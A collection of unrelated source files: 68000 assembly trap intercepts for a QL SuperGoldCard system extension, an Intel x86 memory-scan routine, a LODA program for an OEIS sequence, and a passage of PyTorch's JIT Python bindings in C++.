moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trp3_patch
jmp $12345678
; trap #4
sgc_trp4
dc.w trp4_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trp4_patch
jmp $12345678 ; jump address to be patched
; trap #5
sgc_trp5
dc.w trp5_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trp5_patch
jmp $12345678 ; jump address to be patched
; trap #6
sgc_trp6
dc.w trp6_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trp6_patch
jmp $12345678 ; jump address to be patched
; trap #7
sgc_trp7
dc.w trp7_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trp7_patch
jmp $12345678 ; jump address to be patched
; trap #8
sgc_trp8
dc.w trp8_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trp8_patch
jmp $12345678 ; jump address to be patched
; trap #9
sgc_trp9
dc.w trp9_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trp9_patch
jmp $12345678 ; jump address to be patched
; trap #10
sgc_trpa
dc.w trpa_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trpa_patch
jmp $12345678 ; jump address to be patched
; trap #11
sgc_trpb
dc.w trpb_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trpb_patch
jmp $12345678 ; jump address to be patched
; trap #12
sgc_trpc
dc.w trpc_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trpc_patch
jmp $12345678 ; jump address to be patched
; trap #13
sgc_trpd
dc.w trpd_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trpd_patch
jmp $12345678 ; jump address to be patched
; trap #14
sgc_trpe
dc.w trpe_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trpe_patch
jmp $12345678 ; jump address to be patched
; trap #15
sgc_trpf
dc.w trpf_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
trpf_patch
jmp $12345678 ; jump address to be patched
; Illegal instruction
sgc_ilin
dc.w ilin_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
ilin_patch
jmp $12345678 ; jump address to be patched
; Line a emulation
sgc_alin
dc.w alin_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
alin_patch
jmp $12345678 ; jump address to be patched
; Line f emulation
sgc_flin
dc.w flin_patch-*
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; clear cache
move.l (sp)+,d0
flin_patch
jmp $12345678 ; jump address to be patched
; Interrupt 2 RTE return
sgc_int2_rte
moveq #9,d7 ; default: enable/clear cache
btst #$5,$c(sp)
bne.s glr_sgc_rtec ; supervisor mode -> cache stays enabled
tst.b sgo_cache+sgx_work ; cache configured?
bne.s glr_sgc_rtec
moveq #0,d7 ; disable cache
glr_sgc_rtec
dc.l $4e7b7002
movem.l (sp)+,d7/a5/a6
rte
xdef ms_ntabt
ms_ntabt dc.w ntabt_ms-*
ntabt_ms dc.w 12
dc.b 'Net aborted',$a
st1_nslug
move.l #sgo.slugd,sgo_slug+sgx_work
st1_hdop
moveq #sms.hdop,d0
st1_cont
jmp $12345678
;+++
; SuperGoldCard trap #1 intercept
;---
sgc_trap1
move.l d0,-(sp)
moveq #9,d0
dc.l $4e7b0002 ; enable/clear cache
move.l (sp)+,d0
cmp.w #sms.rrtc,d0 ; less than read real time clock?
blo.s st1_other
beq.s st1_rrtc
cmp.w #sms.artc,d0 ; greater than adjust real time clock?
bhi.s st1_cont
blo.s st1_srtc
st1_artc
bsr.l gl_adate ; adjust date
bra.s st1_rtcx
st1_rrtc
bsr.l gl_rdate ; read date
st1_rtcx
btst #$5,(sp)
bne.s st1_rte ; supervisor mode call
tst.b sgo_cache+sgx_work ; cache?
bne.s st1_rte
move.l d0,-(sp)
moveq #0,d0 ; disable cache
dc.l $4e7b0002
move.l (sp)+,d0
st1_rte
rte
move.w d7,-(a7)
tst.l d0
move.w sr,d7
move.b d7,3(a7)
move.w (a7)+,d7
rte
st1_srtc
bsr.l gl_sdate ; set date
bra.s st1_rtcx
st1_other
cmp.w #sms.hdop,d0
bne.s st1_cont ; not hdop
cmp.b #9,(a3) ; keyrow?
bne.s st1_cont
moveq #0,d0
move.w sgo_slug+sgx_work,d0
not.w d0
beq.s st1_hdop
cmp.w sgo_slug+2+sgx_work,d0
bne.l st1_nslug
mulu #$197,d0 ; x197
st1_pause
tst.l $18000
subq.l #1,d0 ; 06
bne.s st1_pause ; 06 = 8us
bra.l st1_hdop
gt1_nslug
move.l #sgo.slugd,sgo_slug+sgx_work
gt1_hdop
moveq #sms.hdop,d0
gt1_cont
jmp $12345678
;+++
; GoldCard trap #1 intercept
;---
gl_trap1
cmp.w #sms.rrtc,d0 ; less than read real time clock?
blo.s gt1_other
beq.s gt1_rrtc
cmp.w #sms.artc,d0 ; greater than adjust real time clock?
bhi.s gt1_cont
blo.s gt1_srtc
gt1_artc
bsr.l gl_adate ; adjust date
bra.s st1_rte
gt1_rrtc
bsr.s gl_rdate ; read date
bra.s st1_rte
gt1_srtc
bsr.l gl_sdate ; set date
bra.s st1_rte
gt1_other
cmp.w #sms.hdop,d0
bne.s gt1_cont ; not hdop
cmp.b #9,(a3) ; keyrow?
bne.s gt1_cont
moveq #0,d0
move.w sgo_slug+sgx_work,d0
not.w d0
beq.s gt1_hdop
cmp.w sgo_slug+2+sgx_work,d0
bne.s gt1_nslug
lsl.l #7,d0 ; x128
gt1_pause
rol.w #8,d0
rol.w #8,d0
rol.w #8,d0
rol.w #8,d0
lsl.l #3,d0
lsr.l #3,d0
subq.l #1,d0 ; 06
bne.s gt1_pause ; 06 = 8us
bra.s gt1_hdop
end
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2008, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ScanMem32.Asm
;
; Abstract:
;
; ScanMem32 function
;
; Notes:
;
; The following BaseMemoryLib instances contain the same copy of this file:
;
; BaseMemoryLibRepStr
; BaseMemoryLibMmx
; BaseMemoryLibSse2
; BaseMemoryLibOptDxe
; BaseMemoryLibOptPei
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; CONST VOID *
; EFIAPI
; InternalMemScanMem32 (
; IN CONST VOID *Buffer,
; IN UINTN Length,
; IN UINT32 Value
; );
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemScanMem32)
ASM_PFX(InternalMemScanMem32):
push edi
mov ecx, [esp + 12]
mov edi, [esp + 8]
mov eax, [esp + 16]
repne scasd
lea eax, [edi - 4]
cmovnz eax, ecx
pop edi
ret
|
; A248159: Expansion of (1 - 2*x^2)/(1 + x)^4. Third column of Riordan triangle A248156.
; Submitted by Christian Krause
; 1,-4,8,-12,15,-16,14,-8,-3,20,-44,76,-117,168,-230,304,-391,492,-608,740,-889,1056,-1242,1448,-1675,1924,-2196,2492,-2813,3160,-3534,3936,-4367,4828,-5320,5844,-6401,6992,-7618,8280,-8979,9716
mov $1,-4
bin $1,$0
sub $0,2
mov $2,-4
bin $2,$0
sub $1,$2
sub $1,$2
mov $0,$1
|
#include <torch/csrc/utils/pybind.h>
#include <torch/csrc/utils/python_arg_parser.h>
#include <torch/csrc/jit/api/module.h>
#include <torch/csrc/jit/backends/backend_init.h>
#include <torch/csrc/jit/codegen/cuda/interface.h>
#include <torch/csrc/jit/codegen/fuser/interface.h>
#include <torch/csrc/jit/codegen/fuser/kernel_cache.h>
#include <torch/csrc/jit/frontend/ir_emitter.h>
#include <torch/csrc/jit/frontend/tracer.h>
#include <torch/csrc/jit/ir/irparser.h>
#include <torch/csrc/jit/jit_log.h>
#include <torch/csrc/jit/passes/autocast.h>
#include <torch/csrc/jit/passes/batch_mm.h>
#include <torch/csrc/jit/passes/canonicalize.h>
#include <torch/csrc/jit/passes/canonicalize_graph_fuser_ops.h>
#include <torch/csrc/jit/passes/common_subexpression_elimination.h>
#include <torch/csrc/jit/passes/constant_pooling.h>
#include <torch/csrc/jit/passes/constant_propagation.h>
#include <torch/csrc/jit/passes/create_autodiff_subgraphs.h>
#include <torch/csrc/jit/passes/create_functional_graphs.h>
#include <torch/csrc/jit/passes/cuda_graph_fuser.h>
#include <torch/csrc/jit/passes/dbr_quantization/remove_redundant_aliases.h>
#include <torch/csrc/jit/passes/dead_code_elimination.h>
#include <torch/csrc/jit/passes/decompose_ops.h>
#include <torch/csrc/jit/passes/device_type_analysis.h>
#include <torch/csrc/jit/passes/dtype_analysis.h>
#include <torch/csrc/jit/passes/erase_number_types.h>
#include <torch/csrc/jit/passes/fold_conv_bn.h>
#include <torch/csrc/jit/passes/freeze_module.h>
#include <torch/csrc/jit/passes/frozen_concat_linear.h>
#include <torch/csrc/jit/passes/frozen_conv_add_relu_fusion.h>
#include <torch/csrc/jit/passes/frozen_conv_folding.h>
#include <torch/csrc/jit/passes/frozen_graph_optimizations.h>
#include <torch/csrc/jit/passes/frozen_linear_transpose.h>
#include <torch/csrc/jit/passes/frozen_ops_to_mkldnn.h>
#include <torch/csrc/jit/passes/fuse_linear.h>
#include <torch/csrc/jit/passes/fuse_relu.h>
#include <torch/csrc/jit/passes/graph_fuser.h>
#include <torch/csrc/jit/passes/inline_fork_wait.h>
#include <torch/csrc/jit/passes/inliner.h>
#include <torch/csrc/jit/passes/integer_value_refinement.h>
#include <torch/csrc/jit/passes/loop_unrolling.h>
#include <torch/csrc/jit/passes/lower_graph.h>
#include <torch/csrc/jit/passes/lower_tuples.h>
#include <torch/csrc/jit/passes/metal_rewrite.h>
#include <torch/csrc/jit/passes/normalize_ops.h>
#include <torch/csrc/jit/passes/peephole.h>
#include <torch/csrc/jit/passes/peephole_list_idioms.h>
#include <torch/csrc/jit/passes/quantization/dedup_module_uses.h>
#include <torch/csrc/jit/passes/quantization/finalize.h>
#include <torch/csrc/jit/passes/quantization/fusion_passes.h>
#include <torch/csrc/jit/passes/quantization/insert_observers.h>
#include <torch/csrc/jit/passes/quantization/insert_quant_dequant.h>
#include <torch/csrc/jit/passes/quantization/quantization_type.h>
#include <torch/csrc/jit/passes/remove_dropout.h>
#include <torch/csrc/jit/passes/remove_expands.h>
#include <torch/csrc/jit/passes/remove_inplace_ops.h>
#include <torch/csrc/jit/passes/remove_mutation.h>
#include <torch/csrc/jit/passes/replacement_of_old_operators.h>
#include <torch/csrc/jit/passes/restore_mutation.h>
#include <torch/csrc/jit/passes/shape_analysis.h>
#include <torch/csrc/jit/passes/specialize_autogradzero.h>
#include <torch/csrc/jit/passes/subgraph_rewrite.h>
#include <torch/csrc/jit/passes/symbolic_shape_analysis.h>
#include <torch/csrc/jit/passes/tensorexpr_fuser.h>
#include <torch/csrc/jit/passes/utils/check_alias_annotation.h>
#include <torch/csrc/jit/passes/vulkan_rewrite.h>
#include <torch/csrc/jit/passes/xnnpack_rewrite.h>
#include <torch/csrc/jit/python/pybind_utils.h>
#include <torch/csrc/jit/python/python_arg_flatten.h>
#include <torch/csrc/jit/python/python_custom_class.h>
#include <torch/csrc/jit/python/python_ir.h>
#include <torch/csrc/jit/python/python_tracer.h>
#include <torch/csrc/jit/python/python_tree_views.h>
#include <torch/csrc/jit/python/script_init.h>
#include <torch/csrc/jit/runtime/argument_spec.h>
#include <torch/csrc/jit/runtime/autodiff.h>
#include <torch/csrc/jit/runtime/decomposition_registry.h>
#include <torch/csrc/jit/runtime/graph_executor.h>
#include <torch/csrc/jit/runtime/jit_exception.h>
#include <torch/csrc/jit/runtime/jit_trace.h>
#include <torch/csrc/jit/runtime/operator.h>
#include <torch/csrc/jit/runtime/print_handler.h>
#include <torch/csrc/jit/runtime/static/init.h>
#include <torch/csrc/jit/runtime/symbolic_shape_registry.h>
#include <torch/csrc/jit/serialization/export.h>
#include <torch/csrc/jit/serialization/import.h>
#include <torch/csrc/jit/tensorexpr/kernel.h>
#include <torch/csrc/jit/tensorexpr/tensorexpr_init.h>
#include <torch/csrc/utils/cpp_stacktraces.h>
#include <c10/macros/Export.h>
#include <c10/util/irange.h>
#include <c10/util/signal_handler.h>
#include <caffe2/serialize/inline_container.h>
#include <ATen/core/function_schema.h>
#include <pybind11/functional.h>
#include <pybind11/iostream.h>
#include <pybind11/operators.h>
#include <torch/csrc/jit/runtime/profiling_graph_executor_impl.h>
#include <memory>
#include <sstream>
#include <stdexcept>
#include <string>
#include <tuple>
#include <utility>
namespace torch {
namespace jit {
using ::c10::Argument;
using ::c10::FunctionSchema;
using caffe2::serialize::PyTorchStreamReader;
using caffe2::serialize::PyTorchStreamWriter;
namespace {
using autograd::variable_list;
bool loadPythonClasses() {
// Leaving this code here, because it will likely be useful at some point
// PyObject *jit_module = PyImport_ImportModule("torch.jit");
// THPUtils_assert(jit_module, "class loader couldn't access "
//"torch.jit module");
// PyObject *jit_dict = PyModule_GetDict(jit_module);
return true;
}
} // anonymous namespace
#if !defined(USE_ROCM)
TORCH_API void runJITCPPTests();
#endif
void initJITBindings(PyObject* module) {
auto m = py::handle(module).cast<py::module>();
auto jit = m.def_submodule("_jit");
py::register_exception<JITException>(m, "JITException");
py::class_<python::IODescriptor> iodescriptor(
m, "IODescriptor"); // NOLINT(bugprone-unused-raii)
m.def("_jit_init", loadPythonClasses)
.def(
"_jit_debug_fuser_num_cached_kernel_specs",
torch::jit::fuser::debugNumCachedKernelSpecs)
.def("_jit_pass_lower_all_tuples", LowerAllTuples)
.def(
"_new_symbolic_shape_symbol",
[]() { return c10::ShapeSymbol::newSymbol().value(); })
.def(
"_jit_shape_compute_graph_for_node",
[](Node* n) -> c10::optional<std::shared_ptr<Graph>> {
if (!n->maybeSchema()) {
return c10::nullopt;
}
return shapeComputeGraphForSchema(n->schema());
})
.def(
"_jit_decomposition_graph_for_node",
[](Node* n) -> c10::optional<std::shared_ptr<Graph>> {
if (!n->maybeSchema()) {
return c10::nullopt;
}
return DecompositionGraphForSchema(n->schema());
})
.def("_jit_pass_run_decompositions", RunDecompositions)
// using Node* here instead of Schema because looking up the schema
// and passing it in from Python will have a different pointer than the
// schema that is globally used for caching
.def(
"_jit_register_shape_compute_graph_for_node",
[](Node* n, std::shared_ptr<Graph>& graph) {
if (n->maybeSchema()) {
const FunctionSchema& schema = n->schema();
RegisterShapeComputeGraphForSchema(schema, graph);
} else {
TORCH_INTERNAL_ASSERT(false, "Expected schema", n);
}
})
.def("_jit_pass_propagate_shapes_on_graph", PropagateShapesOnGraph)
.def(
"_jit_pass_propagate_shapes_on_graph_and_build_compute",
[](std::shared_ptr<Graph>& graph) {
return PropagateShapesAndBuildLargeShapeComputeGraph(
graph, *graph->nodes().begin(), *graph->nodes().end());
})
.def(
"_jit_pass_propagate_shapes_on_graph_and_build_compute",
[](std::shared_ptr<Graph>& graph, Node* beg) {
return PropagateShapesAndBuildLargeShapeComputeGraph(
graph, beg, *graph->nodes().end());
})
.def(
"_jit_pass_propagate_shapes_on_graph_and_build_compute",
PropagateShapesAndBuildLargeShapeComputeGraph)
.def("_jit_pass_integer_value_refinement", RefineIntegerValues)
.def(
"_jit_set_symbolic_shapes_test_mode",
&setSymbolicShapeAnalysisTestMode)
.def(
"_jit_symbolic_shapes_test_mode_enabled",
&symbolicShapeAnalysisTestModeEnabled)
.def("_jit_pass_autocast", Autocast)
.def("_jit_set_autocast_mode", &setAutocastMode)
.def("_jit_pass_fuse", FuseGraph)
.def(
"_jit_pass_replace_old_ops_with_upgraders",
[](std::shared_ptr<Graph>& g) {
return ReplaceOldOperatorsWithUpgraders(g);
})
.def(
"_jit_pass_dce",
[](std::shared_ptr<Graph>& g) {
return EliminateDeadCode(g->block()); // overload resolution
})
.def(
"_jit_pass_dce_allow_deleting_nodes_with_side_effects",
[](std::shared_ptr<Graph>& g) {
return EliminateDeadCode(
g->block(),
true,
DCESideEffectPolicy::
ALLOW_DELETING_NODES_WITH_SIDE_EFFECTS); // overload
// resolution
})
.def(
"_jit_pass_cse",
[](std::shared_ptr<Graph>& g) {
return EliminateCommonSubexpression(g); // overload resolution
})
.def(
"_jit_pass_fuse_quantized_add_relu",
[](std::shared_ptr<Graph>& g) {
return FuseQuantizedAddRelu(g); // overload resolution
})
.def(
"_jit_pass_insert_observers",
[](Module& module,
const std::string& method_name,
const py::dict& qconfig_dict,
bool inplace,
int quant_type_int) {
auto dict = py::cast<std::unordered_map<
std::string,
c10::optional<std::tuple<Module, Module>>>>(qconfig_dict);
auto quant_type = static_cast<QuantType>(quant_type_int);
return InsertObservers(
module, method_name, dict, inplace, quant_type);
},
py::arg("module"),
py::arg("method_name"),
py::arg("qconfig_dict"),
py::arg("inplace"),
py::arg("quant_type_int") = 1)
.def(
"_jit_pass_insert_quant_dequant",
[](Module& module,
const std::string& method_name,
bool inplace,
bool debug,
int quant_type_int) {
auto quant_type = static_cast<QuantType>(quant_type_int);
return InsertQuantDeQuant(
module, method_name, inplace, debug, quant_type);
},
py::arg("module"),
py::arg("method_name"),
py::arg("inplace"),
py::arg("debug"),
py::arg("quant_type_int") = 1)
.def(
"_jit_pass_insert_prepack_unpack",
[](std::shared_ptr<Graph>& g) { return InsertPrepackUnpack(g); })
.def(
"_jit_pass_insert_prepack_unpack",
[](Module& module) { return InsertPrepackUnpack(module); })
.def(
"_jit_pass_quant_fusion",
[](std::shared_ptr<Graph>& g) { return QuantFusion(g); })
.def(
"_jit_pass_fold_convbn",
[](Module& module) { return FoldConvBatchNorm(module); })
.def(
"_jit_pass_dbr_quant_remove_redundant_aliases",
[](Module& module) { return DBRQuantRemoveRedundantAliases(module); })
.def(
"_freeze_module",
[](Module& module,
std::vector<std::string>& preservedAttrs,
bool freezeInterfaces,
bool preserveParameters) {
return freeze_module(
module, preservedAttrs, freezeInterfaces, preserveParameters);
},
py::arg("module"),
py::arg("preservedAttrs") = std::vector<std::string>(),
py::arg("freezeInterfaces") = true,
py::arg("preserveParameters") = false)
.def("_jit_pass_concat_frozen_linear", &FrozenConcatLinear)
.def("_jit_pass_fold_frozen_conv_bn", &FoldFrozenConvBatchnorm)
.def("_jit_pass_fold_frozen_conv_add_or_sub", &FoldFrozenConvAddOrSub)
.def("_jit_pass_fold_frozen_conv_mul_or_div", &FoldFrozenConvMulOrDiv)
.def("_jit_pass_convert_frozen_ops_to_mkldnn", &ConvertFrozenOpsToMKLDNN)
.def("_jit_pass_fuse_frozen_conv_add_relu", &FuseFrozenConvAddRelu)
.def("_jit_pass_transpose_frozen_linear", &FrozenLinearTranspose)
.def("_jit_pass_optimize_frozen_graph", &OptimizeFrozenGraph)
.def(
"_jit_pass_optimize_for_inference",
[](Module& module, std::vector<std::string> other_methods) {
optimize_for_inference(module, other_methods);
},
py::arg("module"),
py::arg("other_methods") = std::vector<std::string>())
.def("_jit_pass_fuse_linear", &FuseLinear)
.def(
"_jit_pass_fuse_add_relu",
[](std::shared_ptr<Graph>& graph) { FuseAddRelu(graph); })
.def("_jit_pass_dedup_module_uses", &DedupModuleUses)
.def("_jit_pass_replicate_dequantize", &ReplicateDeQuant)
.def(
"_jit_pass_swap_functional_linear",
[](std::shared_ptr<Graph>& graph) { SwapFunctionalLinear(graph); })
.def(
"_jit_pass_swap_functional_linear",
[](Module& module) { SwapFunctionalLinear(module); })
.def(
"_jit_pass_quant_finalize",
[](Module& module,
int quant_type_int,
const std::vector<std::string>& preserved_attrs) {
auto quant_type = static_cast<QuantType>(quant_type_int);
return Finalize(module, quant_type, preserved_attrs);
},
py::arg("module"),
py::arg("quant_type_int") = 1,
py::arg("preserved_attrs") = std::vector<std::string>())
.def(
"_jit_pass_pattern_based_rewrite",
[](const Module& m) { return PatternBasedRewrite(m); })
.def(
"_jit_pass_custom_pattern_based_rewrite",
[](const std::string& pattern,
const std::string& fused_node_name,
const Module& m) {
SubgraphRewriter subgraph_rewriter;
subgraph_rewriter.RegisterRewritePattern(pattern, fused_node_name);
subgraph_rewriter.runOnModule(m);
})
.def(
"_jit_pass_custom_pattern_based_rewrite_graph",
[](const std::string& pattern,
const std::string& fused_node_name,
std::shared_ptr<Graph> g,
const std::vector<std::pair<std::string, std::string>>&
value_name_pairs) {
SubgraphRewriter subgraph_rewriter;
subgraph_rewriter.RegisterRewritePattern(
pattern, fused_node_name, value_name_pairs);
subgraph_rewriter.runOnGraph(g);
},
py::arg("pattern"),
py::arg("fused_node_name"),
py::arg("g"),
py::arg("value_name_pairs") =
std::vector<std::pair<std::string, std::string>>())
.def("_jit_pass_constant_pooling", ConstantPooling)
// RemoveInplaceOps is used by CoreML so it must be removed with care.
.def("_jit_pass_propagate_dtype", DtypePropagation)
.def("_jit_pass_propagate_device", DeviceTypePropagation)
.def(
"_jit_pass_remove_inplace_ops",
[](const std::shared_ptr<Graph>& g) { return RemoveInplaceOps(g); })
.def(
"_jit_pass_create_functional_graphs",
[](std::shared_ptr<Graph>& g) { return CreateFunctionalGraphs(g); })
.def(
"_jit_pass_remove_mutation",
[](std::shared_ptr<Graph>& g) {
RemoveListMutation(g);
return RemoveTensorMutation(g);
})
.def(
"_jit_pass_functional_to_inplace_activation",
[](std::shared_ptr<Graph>& g) {
return FunctionalToInplaceActivation(g);
})
.def(
"_jit_pass_inplace_to_functional_activation",
[](std::shared_ptr<Graph>& g) {
return InplaceToFunctionalActivation(g);
})
.def(
"_jit_pass_inline_functional_graphs",
[](std::shared_ptr<Graph>& g) { return InlineFunctionalGraphs(g); })
.def(
"_jit_pass_peephole",
[](const std::shared_ptr<Graph>& g, bool disable_shape_peepholes) {
return PeepholeOptimize(g, disable_shape_peepholes);
},
py::arg("graph"),
py::arg("disable_shape_peepholes") = false)
.def(
"_jit_pass_peephole_list_idioms",
[](const std::shared_ptr<Graph>& g, bool refine_list_len) {
return PeepholeOptimizeListIdioms(g, refine_list_len);
},
py::arg("graph"),
py::arg("refine_list_len") = false)
.def(
"_jit_pass_refine_integer_values",
[](std::shared_ptr<Graph>& g) { return RefineIntegerValues(g); })
.def(
"_jit_pass_fuse_addmm",
[](std::shared_ptr<Graph>& g) { return FuseAddMM(g); })
.def(
"_jit_pass_canonicalize",
[](const std::shared_ptr<Graph>& g, bool keep_unique_names = true) {
return Canonicalize(g, keep_unique_names);
},
py::arg("graph"),
py::arg("keep_unique_names") = true)
.def("_jit_pass_lint", LintGraph)
.def(
"_jit_pass_complete_shape_analysis",
[](const std::shared_ptr<Graph>& graph,
const py::tuple& inputs,
bool with_grad) {
ArgumentSpecCreator arg_spec_creator(*graph);
Stack stack;
stack.reserve(inputs.size()); // captures?
for (auto& obj : inputs) {
stack.push_back(toTypeInferredIValue(obj));
}
ArgumentSpec spec = arg_spec_creator.create(with_grad, stack);
arg_spec_creator.specializeTypes(*graph, spec);
// We only get partial specialization from the arg_spec_creator, but
// we want full shape specialization. The alternative would be to
// have a "complete type inference" function in ArguemntSpecCreator.
auto g_inputs = graph->inputs();
for (const auto i : c10::irange(inputs.size())) {
if (stack[i].isTensor()) {
g_inputs[i]->setType(stack[i].type());
}
}
PropagateInputShapes(graph);
})
.def(
"_jit_interpret_graph",
[](std::shared_ptr<Graph>& graph, const py::tuple& inputs) {
Stack stack;
stack.reserve(inputs.size()); // captures?
for (auto& obj : inputs) {
stack.push_back(toTypeInferredIValue(obj));
}
auto g_inputs = graph->inputs();
for (const auto i : c10::irange(inputs.size())) {
if (stack[i].isTensor()) {
g_inputs[i]->setType(stack[i].type());
}
}
Code code(graph, "<on-demand-func>");
InterpreterState(code).run(stack);
return createPyObjectForStack(std::move(stack));
},
py::doc(
"Interpret a JIT graph with given inputs without running any optimization passes on it"))
.def(
"_jit_trace_graph",
[](std::shared_ptr<Graph>& graph, const py::tuple& inputs) {
Stack stack;
stack.reserve(inputs.size()); // captures?
for (auto& obj : inputs) {
stack.push_back(toTypeInferredIValue(obj));
}
auto g_inputs = graph->inputs();
for (const auto i : c10::irange(inputs.size())) {
if (stack[i].isTensor()) {
g_inputs[i]->setType(stack[i].type());
}
}
return TraceGraph(graph, stack);
})
.def(
"_jit_trace_module",
[](Module& model, const py::tuple& inputs) {
auto graph = model.get_method("forward").graph();
Stack stack;
stack.reserve(inputs.size() + 1); // captures?
push(stack, model._ivalue());
for (auto& obj : inputs) {
stack.push_back(toTypeInferredIValue(obj));
}
auto traced = TraceGraph(graph, stack);
GRAPH_DUMP("Traced Graph", traced);
// the easiest way to replace a graph in a module is
// to remove all the nodes in the original graph
// clone everything from the traced one
graph->block()->clear();
graph->block()->cloneFrom(traced->block(), nullptr);
GRAPH_DUMP("Copied Graph", graph);
})
.def("_jit_pass_remove_expands", RemoveExpands)
.def("_jit_pass_erase_number_types", EraseNumberTypes)
.def("_jit_pass_inline_fork_wait", InlineForkWait)
.def("_jit_pass_inline", Inline)
.def(
"_jit_pass_lower_graph",
[](std::shared_ptr<Graph>& graph, const Module& self) {
return LowerGraph(*graph, self._ivalue());
})
.def("_jit_pass_loop_unrolling", UnrollLoops)
.def("_jit_pass_constant_loop_unrolling", UnrollConstantLoops)
.def(
"_jit_pass_constant_propagation_immutable_types",
[](std::shared_ptr<Graph>& g) {
return ConstantPropagationImmutableTypes(g);
})
.def(
"_jit_pass_constant_propagation",
[](std::shared_ptr<Graph>& g) { return ConstantPropagation(g); },
py::arg("graph"))
.def("_jit_pass_erase_shape_information", EraseShapeInformation)
.def(
"_jit_object_is_non_holding",
[](Node& n) {
return toIValue(n.output())->toObject()->is_weak_compilation_ref();
})
.def(
"_jit_erase_non_input_shape_information",
[](std::shared_ptr<Graph>& g) {
std::vector<TypePtr> input_types;
for (Value* v : g->inputs()) {
if (auto tt = v->type()->cast<TensorType>()) {
input_types.push_back(tt);
} else {
input_types.push_back(nullptr);
}
}
EraseShapeInformation(g);
for (size_t i = 0; i < input_types.size(); ++i) {
if (input_types[i]) {
g->inputs().at(i)->setType(input_types[i]);
}
}
})
.def(
"_jit_pass_create_autodiff_subgraphs",
[](const std::shared_ptr<Graph>& graph, py::object threshold) {
if (threshold.is(py::none())) {
CreateAutodiffSubgraphs(graph);
} else {
CreateAutodiffSubgraphs(graph, py::cast<int>(threshold));
}
},
py::arg("graph"),
py::arg("threshold") = py::none())
#if defined(BUILDING_TESTS) && !defined(USE_ROCM)
.def(
"_jit_run_cpp_tests",
[]() {
// We have to release the GIL inside this method, because if we
// happen to initialize the autograd engine in these tests, the
// newly spawned worker threads will try to initialize their
// PyThreadState*, and they need the GIL for this.
pybind11::gil_scoped_release _no_gil;
return runJITCPPTests();
})
.def("_jit_has_cpp_tests", []() { return true; })
.def("_has_tensorexpr_cpp_tests", []() { return true; })
#else
.def("_jit_run_cpp_tests", []() { throw std::exception(); })
.def("_jit_has_cpp_tests", []() { return false; })
.def("_run_tensorexpr_cpp_tests", []() { throw std::exception(); })
.def("_has_tensorexpr_cpp_tests", []() { return false; })
#endif
.def(
"_jit_flatten",
[](py::handle& obj) {
auto res = python::flatten(obj);
return std::make_pair(res.vars, res.desc);
})
.def(
"_jit_unflatten",
[](const autograd::variable_list& vars, python::IODescriptor& desc) {
return py::reinterpret_steal<py::object>(
python::unflatten(vars, desc));
})
.def("_jit_pass_canonicalize_graph_fuser_ops", CanonicalizeOps)
.def("_jit_pass_decompose_ops", DecomposeOps)
.def("_jit_pass_specialize_autogradzero", specializeAutogradZero)
.def("_jit_override_can_fuse_on_cpu", &overrideCanFuseOnCPU)
.def("_jit_override_can_fuse_on_gpu", &overrideCanFuseOnGPU)
.def("_jit_can_fuse_on_cpu", &canFuseOnCPU)
.def("_jit_can_fuse_on_gpu", &canFuseOnGPU)
.def("_jit_can_fuse_on_cpu_legacy", &canFuseOnCPULegacy)
.def("_jit_override_can_fuse_on_cpu_legacy", &overrideCanFuseOnCPULegacy)
.def(
"_jit_differentiate",
[](Graph& g) {
// the python binding slightly differs in semantics
// it makes a copy of the input Graph, and works on that
// jit::differentiate mutates the input Graph
auto g_clone = g.copy();
return differentiate(g_clone);
})
.def(
"_jit_check_alias_annotation",
[](const std::shared_ptr<Graph>& g,
const py::tuple& args,
const std::string& unqualified_op_name) {
auto stack = toTraceableStack(args);
checkAliasAnnotation(g, std::move(stack), unqualified_op_name);
})
.def(
"_jit_set_nvfuser_skip_node_kind",
// Args:
// `op_name`: Symbol of op;
// `flip`: flag indicating whether to flip the given op in the
// skip list.
// Returns:
// a bool flag indicating if `op_name` was already in the skip
// list.
[](const std::string& op_name, bool flip = true) {
return fuser::cuda::skipNode(op_name, flip);
})
.def("_jit_set_nvfuser_enabled", &RegisterCudaFuseGraph::registerPass)
.def(
"_jit_set_nvfuser_single_node_mode",
[](bool flag) { return fuser::cuda::setSingletonFusion(flag); })
.def(
"_jit_nvfuser_single_node_mode",
[]() { return fuser::cuda::getSingletonFusion(); })
.def(
"_jit_set_nvfuser_horizontal_mode",
